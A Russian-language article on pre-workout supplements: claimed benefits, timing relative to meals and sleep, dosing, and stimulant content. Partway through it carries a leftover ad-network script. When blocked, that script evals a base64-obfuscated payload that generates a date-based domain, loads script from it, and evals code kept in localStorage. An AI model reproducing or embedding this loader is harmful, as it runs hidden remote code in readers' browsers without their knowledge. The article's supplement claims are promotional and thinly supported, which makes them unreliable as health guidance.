Принятие правильных пищевых добавок перед началом тренировки приводит к существенному улучшению спортивных результатов. Проведение необходимых исследований спортивными диетологами позволило создать специальные предтренировочные комплексы (предтрены). Предтрен– продукты, применяемые при спортивном питании, увеличивающие продуктивность спортсменов при тренировках.
Использование предтренов оказывает влияние на развитие таких параметров:
Силовых показателей.Аэробной и анаэробной выносливости.Улучшение кровенаполнения в мышцах при тренировках (пампинг).Скорость восстановления при отдыхе от подходов.Поддержание работоспособности и энергии и ментальному настрою. 
Предтренировочные комплексы несут в себе полезные свойства:
Способствуют улучшению мышечного кровообращения.Улучшают выносливость во время тренировок.Ведут к увеличению времени тренировки и её интенсивности.Концентрируют внимание.Помогают эффективно наращивать мышечную массу.Вырабатываемая энергии ведёт к трате калорий и сжиганию подкожного жира.
Принимать предтренировочнй комплекс следует разбавленным водой и за 25-30 минут перед тренировкой. По мнению специалистов, их применение необходимо только в день тренировки при общей численности приёмов не более двух раз. Предтрены не предназначены для ежедневного использования в том случае, если в их составе есть психостимуляторы: кофеин, гуарану, герань.
Подробно познакомиться с разновидностями комплексов для питания спортсменов можно на сайте https://www.medtechnika.com.ua/sportivnoe-pitanie/. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Комплексы в таком составе являются замечательными помощниками на тренировках. Но дополнительные препараты могут привести к привыканию организма к поступающей извне энергии. Посла отказа от предтренов, может произойти возникновение определённых трудностей в метаболических процессах. В связи с этим рекомендовано как можно более точное употребление препаратов в соответствии с правилами и дозировками, установленными производителями.
Приём предтреников рекомендован по истечении одного часа после того, как принимали пищу. Лучше если это время достигнет двух часов. Важно, чтобы эти препараты принимались при условии пустого желудка. Присутствие пищи ухудшает эффект от предтренов. Перед началом занятий предтреники принимаются за 25-45 минут. Это необходимо, потому что за это время препараты участвуют во всех пищеварительных этапах и к началу тренировки успевают попасть в кровь.
Если тренировки проходят после обеда, то принимать предтренировочный комплекс лучше за 5-6 часов до сна, так как присутствующий в составе кофеин может помешать процессу сна. Принимать комплекс лучше всего в разбавленном водой или соками виде.
Лучше всего начинать прием, используя минимальную дозировку, с обязательными перерывами между приёмами, чтобы не произошло привыкания организма. Несоблюдение этих правил снизит эффективность предтренировочного комплекса. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/predtren-kak-pit-predtrenirovochnye-kompleksy/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
